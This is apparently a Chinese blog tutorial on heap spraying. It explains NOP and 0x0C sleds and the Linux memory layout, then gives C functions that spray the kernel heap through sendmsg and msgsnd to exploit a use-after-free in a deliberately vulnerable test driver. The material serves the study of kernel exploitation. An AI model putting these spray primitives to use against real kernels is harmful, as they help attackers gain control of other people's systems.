Inhaltsverzeichnis

  1. 堆喷射(Heap Spray)定义
  2. 堆喷射原理
    1. 虚拟内存结构
    2. 堆布局
    3. slide code
  3. sendmsg堆喷射
  4. msgsnd堆喷射

http://blog.csdn.net/magictong/article/details/7391397

堆喷射(Heap Spray)定义

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终让shellcode成功执行。

传统slide code(滑板指令)一般是NOP指令,但是随着一些新的攻击技术的出现,逐渐开始使用更多的类NOP指令,譬如0x0C(0x0C0C代表的x86指令是OR AL 0x0C),0x0D等等,不管是NOP还是0C,他们的共同特点就是不会影响shellcode的执行。使用slide code的原因下面还会详细讲到。

Heap Spray只是一种辅助技术,需要结合其他的栈溢出或堆溢出等等各种溢出技术才能发挥作用。

堆喷射原理

虚拟内存结构

进程的4GB内存空间被人为的分为两个部分–用户空间与内核空间。用户空间地址分布从0到3GB(PAGE_OFFSET,在0x86中它等于0xC0000000),3GB到4GB为内核空间。

从本质上来说,虚拟内存模型为每个运行中的进程提供了它自己的4GB虚拟地址空间。这项工作是通过一个从虚拟地址到物理地址的转换来完成的,并且是在一个内存管理单元(Memory Management Unit,MMU)的帮助下完成的。

内核空间中,从3G到vmalloc_start这段地址是物理内存映射区域(该区域中包含了内核镜像、物理页框表mem_map等等)。在物理内存映射区之后,就是vmalloc区域。对于 160M的系统而言,vmalloc_start位置应在3G+160M附近(在物理内存映射区与vmalloc_start期间还存在一个8M的gap 来防止跃界),vmalloc_end的位置接近4G(最后位置系统会保留一片128k大小的区域用于专用页面映射)

在用户空间,各个类型数据在内存地址的分布大概为:栈 - 堆 – 全局静态数据 & 常量数据(低地址到高地址),其中全局静态数据和常量数量都是在操作系统加载应用程序时直接映射到内存的。

堆布局

slide code

为什么要在shellcode前面加上slide code呢?其实很简单,想要shellcode执行成功,必须要准确地命中shellcode的第一个字符,而直接将shellcode填充整个进程空间反而更难命中了。现在加上slide code就可以保证只要命中slide code那么就一定能成功执行shellcode。
一般shellcode的指令的总长度在50个字节左右,而slidecode的长度则大约是100万字节(按每块分配1M计算)这样成功的几率就大了很多。

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

sendmsg堆喷射

这里可以查看sendmsg系统调用原型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
  static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t)); //分配了一个名为ctl的44字节堆栈缓冲区
/* 20 is size of ipv6_pktinfo */
unsigned char *ctl_buf = ctl;
int ctl_len;
ssize_t err;

msg_sys->msg_name = &address;

if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); //user_msghdr被复制到内核空间的msghdr中,现在msg_sys包含用户提供的数据
if (err < 0)
return err;

err = -ENOBUFS;

if (msg_sys->msg_controllen > INT_MAX) //检查msg_sys是否大于INT_MAX,如果小于那就把ctl_len分配给用户提供的contorllen
goto out_freeiov;
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out_freeiov;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) {
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); //如果我们的数据大于44字节(sizeof ctl),就调用sock_kmalloc(),最后调用kmalloc(size, flag)
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/*
* 注意! 在此之前, msg_sys->msg_control 包含一个用户指针.
* 之后,它将成为内核指针。
* 因此,编译器辅助的检查就落在了这个位置。
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf; //msg_sys->msg_control中的数据被复制到ctl_buf中
}
msg_sys->msg_flags = flags;
...

分析完代码,我们能总结出两个要点:

  • 控制kmalloc调用的大小,使它大于44
  • 控制被分配到堆中的数据

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/**
* Here we are using the sendmsg syscall. This is a good
* one to use because the number of bytes allocated on the
* heap is determined by the user, this means we can determine
* which cache to use. The api is quite confusing and much of this
* was written after reading a lot of stackoverflow posts.
*/
void use_after_free_sendmsg(int fd, long target, long arg)
{
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

memset(buff, 0x43, sizeof buff);

memcpy(buff+56, &arg, sizeof(long));

memcpy(buff+56+(sizeof(long)), &target, sizeof(long));


addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

/* 这是将覆盖堆中易受攻击对象的数据 */
msg.msg_control = buff;

/* 这是用户控制的大小,最终将调用kmalloc(msg_controllen) */
msg.msg_controllen = BUFF_SIZE; // 本来该是chdr->cmsg_len的,但是我想强制定义大小

msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);

ioctl(fd, ALLOC_UAF_OBJ, NULL);
ioctl(fd, FREE_UAF_OBJ, NULL);

/* Heap spray */
int i;
for(i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}

/* Trigger */
ioctl(fd, USE_UAF_OBJ, NULL);

}

msgsnd堆喷射

下面的系统调用是magsnd,它更容易使用,但是有一些限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int use_after_free_msgsnd(int fd)
{
struct {
long mtype;
char mtext[BUFF_SIZE];
}msg;


memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;

/* 创建消息队列, 我们将通过这个发送消息 */
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

/* mtype 必须大于0 */
msg.mtype = 1;

/* 分配和释放易受攻击的对象,并准备在相关缓存中进行覆盖 */
ioctl(fd, ALLOC_UAF_OBJ, NULL);
ioctl(fd, FREE_UAF_OBJ, NULL);

/* 喷射堆,msg越大,我们可以发送的信息量就越少 */
int i;
for(i = 0; i < 120; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);


ioctl(fd, USE_UAF_OBJ, NULL);
}

我们注意到调用这个函数时使用到的alloc_mag函数,我们可以在这里查看它是如何分配内存的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

msg_msg结构的大小为48字节,我们不控制进入它的大小,因此,整体的kmalloc分配是48+我们的消息的大小。
这意味着我们不能在32字节的cache中使用这种方法,并且它会与64字节的cache发生冲突。